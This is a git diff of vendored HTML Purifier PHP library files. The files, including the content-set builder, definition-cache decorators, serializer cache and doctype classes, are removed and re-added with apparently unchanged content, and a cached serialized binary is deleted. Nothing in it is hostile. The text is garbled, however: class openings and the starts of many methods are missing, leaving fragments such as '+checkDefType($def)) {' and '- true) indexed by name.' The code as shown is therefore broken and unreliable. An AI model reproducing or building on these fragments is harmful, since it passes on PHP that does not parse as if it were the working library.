    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini index 58e0ce4a17..5de4505e1b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini @@ -1,3 +1,3 @@ -name = "HTML Purifier" - -; vim: et sw=4 sts=4 +name = "HTML Purifier" + +; vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php index f68b19631a..543e3f8f11 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php @@ -1,170 +1,170 @@ - true) indexed by name. - * @type array - * @note This is in HTMLPurifier_HTMLDefinition->info_content_sets - */ - public $lookup = array(); - - /** - * Synchronized list of defined content sets (keys of info). - * @type array - */ - protected $keys = array(); - /** - * Synchronized list of defined content values (values of info). - * @type array - */ - protected $values = array(); - - /** - * Merges in module's content sets, expands identifiers in the content - * sets and populates the keys, values and lookup member variables. - * @param HTMLPurifier_HTMLModule[] $modules List of HTMLPurifier_HTMLModule - */ - public function __construct($modules) - { - if (!is_array($modules)) { - $modules = array($modules); - } - // populate content_sets based on module hints - // sorry, no way of overloading - foreach ($modules as $module) { - foreach ($module->content_sets as $key => $value) { - $temp = $this->convertToLookup($value); - if (isset($this->lookup[$key])) { - // add it into the existing content set - $this->lookup[$key] = array_merge($this->lookup[$key], $temp); - } else { - $this->lookup[$key] = $temp; - } - } - } - $old_lookup = false; - while ($old_lookup !== $this->lookup) { - $old_lookup = $this->lookup; - foreach ($this->lookup as $i => $set) { - $add = array(); - foreach ($set as $element => $x) { - if (isset($this->lookup[$element])) { - $add += $this->lookup[$element]; - unset($this->lookup[$i][$element]); - } - } - $this->lookup[$i] += $add; - } - } - - foreach ($this->lookup as $key => $lookup) { - $this->info[$key] = implode(' | ', array_keys($lookup)); - } - $this->keys = array_keys($this->info); - $this->values = array_values($this->info); - } - - /** - * Accepts a definition; generates and assigns a ChildDef for it - * @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef reference - * @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef - */ - public function generateChildDef(&$def, $module) - { - if (!empty($def->child)) { // already done! - return; - } - $content_model = $def->content_model; - if (is_string($content_model)) { - // Assume that $this->keys is alphanumeric - $def->content_model = preg_replace_callback( - '/\b(' . implode('|', $this->keys) . ')\b/', - array($this, 'generateChildDefCallback'), - $content_model - ); - //$def->content_model = str_replace( - // $this->keys, $this->values, $content_model); - } - $def->child = $this->getChildDef($def, $module); - } - - public function generateChildDefCallback($matches) - { - return $this->info[$matches[0]]; - } - - /** - * Instantiates a ChildDef based on content_model and content_model_type - * member variables in HTMLPurifier_ElementDef - * @note This will also defer to modules for custom HTMLPurifier_ChildDef - * subclasses that need content set expansion - * @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef to have ChildDef extracted - * @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef - * @return HTMLPurifier_ChildDef corresponding to ElementDef - */ - public function getChildDef($def, $module) - { - $value = $def->content_model; - if (is_object($value)) { - trigger_error( - 'Literal object child definitions should be stored in '. - 'ElementDef->child not ElementDef->content_model', - E_USER_NOTICE - ); - return $value; - } - switch ($def->content_model_type) { - case 'required': - return new HTMLPurifier_ChildDef_Required($value); - case 'optional': - return new HTMLPurifier_ChildDef_Optional($value); - case 'empty': - return new HTMLPurifier_ChildDef_Empty(); - case 'custom': - return new HTMLPurifier_ChildDef_Custom($value); - } - // defer to its module - $return = false; - if ($module->defines_child_def) { // save a func call - $return = $module->getChildDef($def); - } - if ($return !== false) { - return $return; - } - // error-out - trigger_error( - 'Could not determine which ChildDef class to instantiate', - E_USER_ERROR - ); - return false; - } - - /** - * Converts a string list of elements separated by pipes into - * a lookup array. - * @param string $string List of elements - * @return array Lookup array of elements - */ - protected function convertToLookup($string) - { - $array = explode('|', str_replace(' ', '', $string)); - $ret = array(); - foreach ($array as $k) { - $ret[$k] = true; - } - return $ret; - } -} - -// vim: et sw=4 sts=4 + true) indexed by name. + * @type array + * @note This is in HTMLPurifier_HTMLDefinition->info_content_sets + */ + public $lookup = array(); + + /** + * Synchronized list of defined content sets (keys of info). + * @type array + */ + protected $keys = array(); + /** + * Synchronized list of defined content values (values of info). + * @type array + */ + protected $values = array(); + + /** + * Merges in module's content sets, expands identifiers in the content + * sets and populates the keys, values and lookup member variables. + * @param HTMLPurifier_HTMLModule[] $modules List of HTMLPurifier_HTMLModule + */ + public function __construct($modules) + { + if (!is_array($modules)) { + $modules = array($modules); + } + // populate content_sets based on module hints + // sorry, no way of overloading + foreach ($modules as $module) { + foreach ($module->content_sets as $key => $value) { + $temp = $this->convertToLookup($value); + if (isset($this->lookup[$key])) { + // add it into the existing content set + $this->lookup[$key] = array_merge($this->lookup[$key], $temp); + } else { + $this->lookup[$key] = $temp; + } + } + } + $old_lookup = false; + while ($old_lookup !== $this->lookup) { + $old_lookup = $this->lookup; + foreach ($this->lookup as $i => $set) { + $add = array(); + foreach ($set as $element => $x) { + if (isset($this->lookup[$element])) { + $add += $this->lookup[$element]; + unset($this->lookup[$i][$element]); + } + } + $this->lookup[$i] += $add; + } + } + + foreach ($this->lookup as $key => $lookup) { + $this->info[$key] = implode(' | ', array_keys($lookup)); + } + $this->keys = array_keys($this->info); + $this->values = array_values($this->info); + } + + /** + * Accepts a definition; generates and assigns a ChildDef for it + * @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef reference + * @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef + */ + public function generateChildDef(&$def, $module) + { + if (!empty($def->child)) { // already done! + return; + } + $content_model = $def->content_model; + if (is_string($content_model)) { + // Assume that $this->keys is alphanumeric + $def->content_model = preg_replace_callback( + '/\b(' . implode('|', $this->keys) . ')\b/', + array($this, 'generateChildDefCallback'), + $content_model + ); + //$def->content_model = str_replace( + // $this->keys, $this->values, $content_model); + } + $def->child = $this->getChildDef($def, $module); + } + + public function generateChildDefCallback($matches) + { + return $this->info[$matches[0]]; + } + + /** + * Instantiates a ChildDef based on content_model and content_model_type + * member variables in HTMLPurifier_ElementDef + * @note This will also defer to modules for custom HTMLPurifier_ChildDef + * subclasses that need content set expansion + * @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef to have ChildDef extracted + * @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef + * @return HTMLPurifier_ChildDef corresponding to ElementDef + */ + public function getChildDef($def, $module) + { + $value = $def->content_model; + if (is_object($value)) { + trigger_error( + 'Literal object child definitions should be stored in '. + 'ElementDef->child not ElementDef->content_model', + E_USER_NOTICE + ); + return $value; + } + switch ($def->content_model_type) { + case 'required': + return new HTMLPurifier_ChildDef_Required($value); + case 'optional': + return new HTMLPurifier_ChildDef_Optional($value); + case 'empty': + return new HTMLPurifier_ChildDef_Empty(); + case 'custom': + return new HTMLPurifier_ChildDef_Custom($value); + } + // defer to its module + $return = false; + if ($module->defines_child_def) { // save a func call + $return = $module->getChildDef($def); + } + if ($return !== false) { + return $return; + } + // error-out + trigger_error( + 'Could not determine which ChildDef class to instantiate', + E_USER_ERROR + ); + return false; + } + + /** + * Converts a string list of elements separated by pipes into + * a lookup array. + * @param string $string List of elements + * @return array Lookup array of elements + */ + protected function convertToLookup($string) + { + $array = explode('|', str_replace(' ', '', $string)); + $ret = array(); + foreach ($array as $k) { + $ret[$k] = true; + } + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php index 53dca67dcd..4991777ce1 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php @@ -1,78 +1,78 @@ -definitions[$this->generateKey($config)] = $def; - } - return $status; - } - - /** - * @param HTMLPurifier_Definition $def - * @param HTMLPurifier_Config $config - * @return mixed - */ - public function set($def, $config) - { - $status = parent::set($def, $config); - if ($status) { - $this->definitions[$this->generateKey($config)] = $def; - } - return $status; - } - - /** - * @param HTMLPurifier_Definition $def - * @param HTMLPurifier_Config $config - * @return mixed - */ - public function replace($def, $config) - { - $status = parent::replace($def, $config); - if ($status) { - $this->definitions[$this->generateKey($config)] = $def; - } - return $status; - } - - /** - * @param HTMLPurifier_Config $config - * @return mixed - */ - public function get($config) - { - $key = $this->generateKey($config); - if (isset($this->definitions[$key])) { - return $this->definitions[$key]; - } - $this->definitions[$key] = parent::get($config); - return $this->definitions[$key]; - } -} - -// vim: et sw=4 sts=4 +definitions[$this->generateKey($config)] = $def; + } + return $status; + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function set($def, $config) + { + $status = parent::set($def, $config); + if ($status) { + $this->definitions[$this->generateKey($config)] = $def; + } + return $status; + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function replace($def, $config) + { + $status = parent::replace($def, $config); + if ($status) { + $this->definitions[$this->generateKey($config)] = $def; + } + return $status; + } + + /** + * @param HTMLPurifier_Config $config + * @return mixed + */ + public function get($config) + { + $key = $this->generateKey($config); + if (isset($this->definitions[$key])) { + return $this->definitions[$key]; + } + $this->definitions[$key] = parent::get($config); + return $this->definitions[$key]; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in index c586890fbc..b1fec8d367 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in @@ -1,82 +1,82 @@ -checkDefType($def)) { - return; - } - $file = $this->generateFilePath($config); - if (file_exists($file)) { - return false; - } - if (!$this->_prepareDir($config)) { - return false; - } - return $this->_write($file, serialize($def), $config); - } - - /** - * @param HTMLPurifier_Definition $def - * @param HTMLPurifier_Config $config - * @return int|bool - */ - public function set($def, $config) - { - if (!$this->checkDefType($def)) { - return; - } - $file = $this->generateFilePath($config); - if (!$this->_prepareDir($config)) { - return false; - } - return $this->_write($file, serialize($def), $config); - } - - /** - * @param HTMLPurifier_Definition $def - * @param HTMLPurifier_Config $config - * @return int|bool - */ - public function replace($def, $config) - { - if (!$this->checkDefType($def)) { - return; - } - $file = $this->generateFilePath($config); - if (!file_exists($file)) { - return false; - } - if (!$this->_prepareDir($config)) { - return false; - } - return $this->_write($file, serialize($def), $config); - } - - /** - * @param HTMLPurifier_Config $config - * @return bool|HTMLPurifier_Config - */ - public function get($config) - { - $file = $this->generateFilePath($config); - if (!file_exists($file)) { - return false; - } - return unserialize(file_get_contents($file)); - } - - /** - * @param HTMLPurifier_Config $config - * @return bool - */ - public function remove($config) - { - $file = $this->generateFilePath($config); - if (!file_exists($file)) { - return false; - } - return unlink($file); - } - - /** - * @param HTMLPurifier_Config $config - * @return bool - */ - public function flush($config) - { - if (!$this->_prepareDir($config)) { - return false; - } - $dir = $this->generateDirectoryPath($config); - $dh = opendir($dir); - // Apparently, on some versions of PHP, readdir will return - // an empty string if you pass an invalid argument to readdir. - // So you need this test. See #49. - if (false === $dh) { - return false; - } - while (false !== ($filename = readdir($dh))) { - if (empty($filename)) { - continue; - } - if ($filename[0] === '.') { - continue; - } - unlink($dir . '/' . $filename); - } - closedir($dh); - return true; - } - - /** - * @param HTMLPurifier_Config $config - * @return bool - */ - public function cleanup($config) - { - if (!$this->_prepareDir($config)) { - return false; - } - $dir = $this->generateDirectoryPath($config); - $dh = opendir($dir); - // See #49 (and above). - if (false === $dh) { - return false; - } - while (false !== ($filename = readdir($dh))) { - if (empty($filename)) { - continue; - } - if ($filename[0] === '.') { - continue; - } - $key = substr($filename, 0, strlen($filename) - 4); - if ($this->isOld($key, $config)) { - unlink($dir . '/' . $filename); - } - } - closedir($dh); - return true; - } - - /** - * Generates the file path to the serial file corresponding to - * the configuration and definition name - * @param HTMLPurifier_Config $config - * @return string - * @todo Make protected - */ - public function generateFilePath($config) - { - $key = $this->generateKey($config); - return $this->generateDirectoryPath($config) . '/' . $key . '.ser'; - } - - /** - * Generates the path to the directory contain this cache's serial files - * @param HTMLPurifier_Config $config - * @return string - * @note No trailing slash - * @todo Make protected - */ - public function generateDirectoryPath($config) - { - $base = $this->generateBaseDirectoryPath($config); - return $base . '/' . $this->type; - } - - /** - * Generates path to base directory that contains all definition type - * serials - * @param HTMLPurifier_Config $config - * @return mixed|string - * @todo Make protected - */ - public function generateBaseDirectoryPath($config) - { - $base = $config->get('Cache.SerializerPath'); - $base = is_null($base) ? HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer' : $base; - return $base; - } - - /** - * Convenience wrapper function for file_put_contents - * @param string $file File name to write to - * @param string $data Data to write into file - * @param HTMLPurifier_Config $config - * @return int|bool Number of bytes written if success, or false if failure. - */ - private function _write($file, $data, $config) - { - $result = file_put_contents($file, $data); - if ($result !== false) { - // set permissions of the new file (no execute) - $chmod = $config->get('Cache.SerializerPermissions'); - if ($chmod !== null) { - chmod($file, $chmod & 0666); - } - } - return $result; - } - - /** - * Prepares the directory that this type stores the serials in - * @param HTMLPurifier_Config $config - * @return bool True if successful - */ - private function _prepareDir($config) - { - $directory = $this->generateDirectoryPath($config); - $chmod = $config->get('Cache.SerializerPermissions'); - if ($chmod === null) { - if (!@mkdir($directory) && !is_dir($directory)) { - trigger_error( - 'Could not create directory ' . $directory . '', - E_USER_WARNING - ); - return false; - } - return true; - } - if (!is_dir($directory)) { - $base = $this->generateBaseDirectoryPath($config); - if (!is_dir($base)) { - trigger_error( - 'Base directory ' . $base . ' does not exist, - please create or change using %Cache.SerializerPath', - E_USER_WARNING - ); - return false; - } elseif (!$this->_testPermissions($base, $chmod)) { - return false; - } - if (!@mkdir($directory, $chmod) && !is_dir($directory)) { - trigger_error( - 'Could not create directory ' . $directory . '', - E_USER_WARNING - ); - return false; - } - if (!$this->_testPermissions($directory, $chmod)) { - return false; - } - } elseif (!$this->_testPermissions($directory, $chmod)) { - return false; - } - return true; - } - - /** - * Tests permissions on a directory and throws out friendly - * error messages and attempts to chmod it itself if possible - * @param string $dir Directory path - * @param int $chmod Permissions - * @return bool True if directory is writable - */ - private function _testPermissions($dir, $chmod) - { - // early abort, if it is writable, everything is hunky-dory - if (is_writable($dir)) { - return true; - } - if (!is_dir($dir)) { - // generally, you'll want to handle this beforehand - // so a more specific error message can be given - trigger_error( - 'Directory ' . $dir . ' does not exist', - E_USER_WARNING - ); - return false; - } - if (function_exists('posix_getuid') && $chmod !== null) { - // POSIX system, we can give more specific advice - if (fileowner($dir) === posix_getuid()) { - // we can chmod it ourselves - $chmod = $chmod | 0700; - if (chmod($dir, $chmod)) { - return true; - } - } elseif (filegroup($dir) === posix_getgid()) { - $chmod = $chmod | 0070; - } else { - // PHP's probably running as nobody, so we'll - // need to give global permissions - $chmod = $chmod | 0777; - } - trigger_error( - 'Directory ' . $dir . ' not writable, ' . - 'please chmod to ' . decoct($chmod), - E_USER_WARNING - ); - } else { - // generic error message - trigger_error( - 'Directory ' . $dir . ' not writable, ' . - 'please alter file permissions', - E_USER_WARNING - ); - } - return false; - } -} - -// vim: et sw=4 sts=4 +checkDefType($def)) { + return; + } + $file = $this->generateFilePath($config); + if (file_exists($file)) { + return false; + } + if (!$this->_prepareDir($config)) { + return false; + } + return $this->_write($file, serialize($def), $config); + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return int|bool + */ + public function set($def, $config) + { + if (!$this->checkDefType($def)) { + return; + } + $file = $this->generateFilePath($config); + if (!$this->_prepareDir($config)) { + return false; + } + return $this->_write($file, serialize($def), $config); + } + + /** + * @param HTMLPurifier_Definition $def + * @param HTMLPurifier_Config $config + * @return int|bool + */ + public function replace($def, $config) + { + if (!$this->checkDefType($def)) { + return; + } + $file = $this->generateFilePath($config); + if (!file_exists($file)) { + return false; + } + if (!$this->_prepareDir($config)) { + return false; + } + return $this->_write($file, serialize($def), $config); + } + + /** + * @param HTMLPurifier_Config $config + * @return bool|HTMLPurifier_Config + */ + public function get($config) + { + $file = $this->generateFilePath($config); + if (!file_exists($file)) { + return false; + } + return unserialize(file_get_contents($file)); + } + + /** + * @param HTMLPurifier_Config $config + * @return bool + */ + public function remove($config) + { + $file = $this->generateFilePath($config); + if (!file_exists($file)) { + return false; + } + return unlink($file); + } + + /** + * @param HTMLPurifier_Config $config + * @return bool + */ + public function flush($config) + { + if (!$this->_prepareDir($config)) { + return false; + } + $dir = $this->generateDirectoryPath($config); + $dh = opendir($dir); + // Apparently, on some versions of PHP, readdir will return + // an empty string if you pass an invalid argument to readdir. + // So you need this test. See #49. + if (false === $dh) { + return false; + } + while (false !== ($filename = readdir($dh))) { + if (empty($filename)) { + continue; + } + if ($filename[0] === '.') { + continue; + } + unlink($dir . '/' . $filename); + } + closedir($dh); + return true; + } + + /** + * @param HTMLPurifier_Config $config + * @return bool + */ + public function cleanup($config) + { + if (!$this->_prepareDir($config)) { + return false; + } + $dir = $this->generateDirectoryPath($config); + $dh = opendir($dir); + // See #49 (and above). + if (false === $dh) { + return false; + } + while (false !== ($filename = readdir($dh))) { + if (empty($filename)) { + continue; + } + if ($filename[0] === '.') { + continue; + } + $key = substr($filename, 0, strlen($filename) - 4); + if ($this->isOld($key, $config)) { + unlink($dir . '/' . $filename); + } + } + closedir($dh); + return true; + } + + /** + * Generates the file path to the serial file corresponding to + * the configuration and definition name + * @param HTMLPurifier_Config $config + * @return string + * @todo Make protected + */ + public function generateFilePath($config) + { + $key = $this->generateKey($config); + return $this->generateDirectoryPath($config) . '/' . $key . '.ser'; + } + + /** + * Generates the path to the directory contain this cache's serial files + * @param HTMLPurifier_Config $config + * @return string + * @note No trailing slash + * @todo Make protected + */ + public function generateDirectoryPath($config) + { + $base = $this->generateBaseDirectoryPath($config); + return $base . '/' . $this->type; + } + + /** + * Generates path to base directory that contains all definition type + * serials + * @param HTMLPurifier_Config $config + * @return mixed|string + * @todo Make protected + */ + public function generateBaseDirectoryPath($config) + { + $base = $config->get('Cache.SerializerPath'); + $base = is_null($base) ? HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer' : $base; + return $base; + } + + /** + * Convenience wrapper function for file_put_contents + * @param string $file File name to write to + * @param string $data Data to write into file + * @param HTMLPurifier_Config $config + * @return int|bool Number of bytes written if success, or false if failure. + */ + private function _write($file, $data, $config) + { + $result = file_put_contents($file, $data); + if ($result !== false) { + // set permissions of the new file (no execute) + $chmod = $config->get('Cache.SerializerPermissions'); + if ($chmod !== null) { + chmod($file, $chmod & 0666); + } + } + return $result; + } + + /** + * Prepares the directory that this type stores the serials in + * @param HTMLPurifier_Config $config + * @return bool True if successful + */ + private function _prepareDir($config) + { + $directory = $this->generateDirectoryPath($config); + $chmod = $config->get('Cache.SerializerPermissions'); + if ($chmod === null) { + if (!@mkdir($directory) && !is_dir($directory)) { + trigger_error( + 'Could not create directory ' . $directory . '', + E_USER_WARNING + ); + return false; + } + return true; + } + if (!is_dir($directory)) { + $base = $this->generateBaseDirectoryPath($config); + if (!is_dir($base)) { + trigger_error( + 'Base directory ' . $base . ' does not exist, + please create or change using %Cache.SerializerPath', + E_USER_WARNING + ); + return false; + } elseif (!$this->_testPermissions($base, $chmod)) { + return false; + } + if (!@mkdir($directory, $chmod) && !is_dir($directory)) { + trigger_error( + 'Could not create directory ' . $directory . '', + E_USER_WARNING + ); + return false; + } + if (!$this->_testPermissions($directory, $chmod)) { + return false; + } + } elseif (!$this->_testPermissions($directory, $chmod)) { + return false; + } + return true; + } + + /** + * Tests permissions on a directory and throws out friendly + * error messages and attempts to chmod it itself if possible + * @param string $dir Directory path + * @param int $chmod Permissions + * @return bool True if directory is writable + */ + private function _testPermissions($dir, $chmod) + { + // early abort, if it is writable, everything is hunky-dory + if (is_writable($dir)) { + return true; + } + if (!is_dir($dir)) { + // generally, you'll want to handle this beforehand + // so a more specific error message can be given + trigger_error( + 'Directory ' . $dir . ' does not exist', + E_USER_WARNING + ); + return false; + } + if (function_exists('posix_getuid') && $chmod !== null) { + // POSIX system, we can give more specific advice + if (fileowner($dir) === posix_getuid()) { + // we can chmod it ourselves + $chmod = $chmod | 0700; + if (chmod($dir, $chmod)) { + return true; + } + } elseif (filegroup($dir) === posix_getgid()) { + $chmod = $chmod | 0070; + } else { + // PHP's probably running as nobody, so we'll + // need to give global permissions + $chmod = $chmod | 0777; + } + trigger_error( + 'Directory ' . $dir . ' not writable, ' . + 'please chmod to ' . decoct($chmod), + E_USER_WARNING + ); + } else { + // generic error message + trigger_error( + 'Directory ' . $dir . ' not writable, ' . + 'please alter file permissions', + E_USER_WARNING + ); + } + return false; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/HTML/4.13.0,39d5416a920b5db1d775eb7a3a1848a6b8a7e71f,1.ser b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/HTML/4.13.0,39d5416a920b5db1d775eb7a3a1848a6b8a7e71f,1.ser deleted file mode 100644 index 8992c3c936..0000000000 Binary files a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/HTML/4.13.0,39d5416a920b5db1d775eb7a3a1848a6b8a7e71f,1.ser and /dev/null differ diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README index ba005de737..2e35c1c3d0 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README @@ -1,3 +1,3 @@ -This is a dummy file to prevent Git from ignoring this empty directory. - - vim: et sw=4 sts=4 +This is a dummy file to prevent Git from ignoring this empty directory. + + vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php index 737b8bb3b0..fd1cc9be46 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php @@ -1,106 +1,106 @@ - array()); - - /** - * @type array - */ - protected $implementations = array(); - - /** - * @type HTMLPurifier_DefinitionCache_Decorator[] - */ - protected $decorators = array(); - - /** - * Initialize default decorators - */ - public function setup() - { - $this->addDecorator('Cleanup'); - } - - /** - * Retrieves an instance of global definition cache factory. - * @param HTMLPurifier_DefinitionCacheFactory $prototype - * @return HTMLPurifier_DefinitionCacheFactory - */ - public static function instance($prototype = null) - { - static $instance; - if ($prototype !== null) { - $instance = $prototype; - } elseif ($instance === null || $prototype === true) { - $instance = new HTMLPurifier_DefinitionCacheFactory(); - $instance->setup(); - } - return $instance; - } - - /** - * Registers a new definition cache object - * @param string $short Short name of cache object, for reference - * @param string $long Full class name of cache object, for construction - */ - public function register($short, $long) - { - $this->implementations[$short] = $long; - } - - /** - * Factory method that creates a cache object based on configuration - * @param string $type Name of definitions handled by cache - * @param HTMLPurifier_Config $config Config instance - * @return mixed - */ - public function create($type, $config) - { - $method = $config->get('Cache.DefinitionImpl'); - if ($method === null) { - return new HTMLPurifier_DefinitionCache_Null($type); - } - if (!empty($this->caches[$method][$type])) { - return $this->caches[$method][$type]; - } - if (isset($this->implementations[$method]) && - class_exists($class = $this->implementations[$method], false)) { - $cache = new $class($type); - } else { - if ($method != 'Serializer') { - trigger_error("Unrecognized DefinitionCache $method, using Serializer instead", E_USER_WARNING); - } - $cache = new HTMLPurifier_DefinitionCache_Serializer($type); - } - foreach ($this->decorators as $decorator) { - $new_cache = $decorator->decorate($cache); - // prevent infinite recursion in PHP 4 - unset($cache); - $cache = $new_cache; - } - $this->caches[$method][$type] = $cache; - return $this->caches[$method][$type]; - } - - /** - * Registers a decorator to add to all new cache objects - * @param HTMLPurifier_DefinitionCache_Decorator|string $decorator An instance or the name of a decorator - */ - public function addDecorator($decorator) - { - if (is_string($decorator)) { - $class = "HTMLPurifier_DefinitionCache_Decorator_$decorator"; - $decorator = new $class; - } - $this->decorators[$decorator->name] = $decorator; - } -} - -// vim: et sw=4 sts=4 + array()); + + /** + * @type array + */ + protected $implementations = array(); + + /** + * @type HTMLPurifier_DefinitionCache_Decorator[] + */ + protected $decorators = array(); + + /** + * Initialize default decorators + */ + public function setup() + { + $this->addDecorator('Cleanup'); + } + + /** + * Retrieves an instance of global definition cache factory. + * @param HTMLPurifier_DefinitionCacheFactory $prototype + * @return HTMLPurifier_DefinitionCacheFactory + */ + public static function instance($prototype = null) + { + static $instance; + if ($prototype !== null) { + $instance = $prototype; + } elseif ($instance === null || $prototype === true) { + $instance = new HTMLPurifier_DefinitionCacheFactory(); + $instance->setup(); + } + return $instance; + } + + /** + * Registers a new definition cache object + * @param string $short Short name of cache object, for reference + * @param string $long Full class name of cache object, for construction + */ + public function register($short, $long) + { + $this->implementations[$short] = $long; + } + + /** + * Factory method that creates a cache object based on configuration + * @param string $type Name of definitions handled by cache + * @param HTMLPurifier_Config $config Config instance + * @return mixed + */ + public function create($type, $config) + { + $method = $config->get('Cache.DefinitionImpl'); + if ($method === null) { + return new HTMLPurifier_DefinitionCache_Null($type); + } + if (!empty($this->caches[$method][$type])) { + return $this->caches[$method][$type]; + } + if (isset($this->implementations[$method]) && + class_exists($class = $this->implementations[$method], false)) { + $cache = new $class($type); + } else { + if ($method != 'Serializer') { + trigger_error("Unrecognized DefinitionCache $method, using Serializer instead", E_USER_WARNING); + } + $cache = new HTMLPurifier_DefinitionCache_Serializer($type); + } + foreach ($this->decorators as $decorator) { + $new_cache = $decorator->decorate($cache); + // prevent infinite recursion in PHP 4 + unset($cache); + $cache = $new_cache; + } + $this->caches[$method][$type] = $cache; + return $this->caches[$method][$type]; + } + + /** + * Registers a decorator to add to all new cache objects + * @param HTMLPurifier_DefinitionCache_Decorator|string $decorator An instance or the name of a decorator + */ + public function addDecorator($decorator) + { + if (is_string($decorator)) { + $class = "HTMLPurifier_DefinitionCache_Decorator_$decorator"; + $decorator = new $class; + } + $this->decorators[$decorator->name] = $decorator; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php index 4d723129e0..4acd06e5bd 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Doctype.php @@ -1,73 +1,73 @@ -renderDoctype. - * If structure changes, please update that function. - */ -class HTMLPurifier_Doctype -{ - /** - * Full name of doctype - * @type string - */ - public $name; - - /** - * List of standard modules (string identifiers or literal objects) - * that this doctype uses - * @type array - */ - public $modules = array(); - - /** - * List of modules to use for tidying up code - * @type array - */ - public $tidyModules = array(); - - /** - * Is the language derived from XML (i.e. XHTML)? - * @type bool - */ - public $xml = true; - - /** - * List of aliases for this doctype - * @type array - */ - public $aliases = array(); - - /** - * Public DTD identifier - * @type string - */ - public $dtdPublic; - - /** - * System DTD identifier - * @type string - */ - public $dtdSystem; - - public function __construct( - $name = null, - $xml = true, - $modules = array(), - $tidyModules = array(), - $aliases = array(), - $dtd_public = null, - $dtd_system = null - ) { - $this->name = $name; - $this->xml = $xml; - $this->modules = $modules; - $this->tidyModules = $tidyModules; - $this->aliases = $aliases; - $this->dtdPublic = $dtd_public; - $this->dtdSystem = $dtd_system; - } -} - -// vim: et sw=4 sts=4 +renderDoctype. + * If structure changes, please update that function. + */ +class HTMLPurifier_Doctype +{ + /** + * Full name of doctype + * @type string + */ + public $name; + + /** + * List of standard modules (string identifiers or literal objects) + * that this doctype uses + * @type array + */ + public $modules = array(); + + /** + * List of modules to use for tidying up code + * @type array + */ + public $tidyModules = array(); + + /** + * Is the language derived from XML (i.e. XHTML)? + * @type bool + */ + public $xml = true; + + /** + * List of aliases for this doctype + * @type array + */ + public $aliases = array(); + + /** + * Public DTD identifier + * @type string + */ + public $dtdPublic; + + /** + * System DTD identifier + * @type string + */ + public $dtdSystem; + + public function __construct( + $name = null, + $xml = true, + $modules = array(), + $tidyModules = array(), + $aliases = array(), + $dtd_public = null, + $dtd_system = null + ) { + $this->name = $name; + $this->xml = $xml; + $this->modules = $modules; + $this->tidyModules = $tidyModules; + $this->aliases = $aliases; + $this->dtdPublic = $dtd_public; + $this->dtdSystem = $dtd_system; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php index cab9dc5361..acc1d64a62 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DoctypeRegistry.php 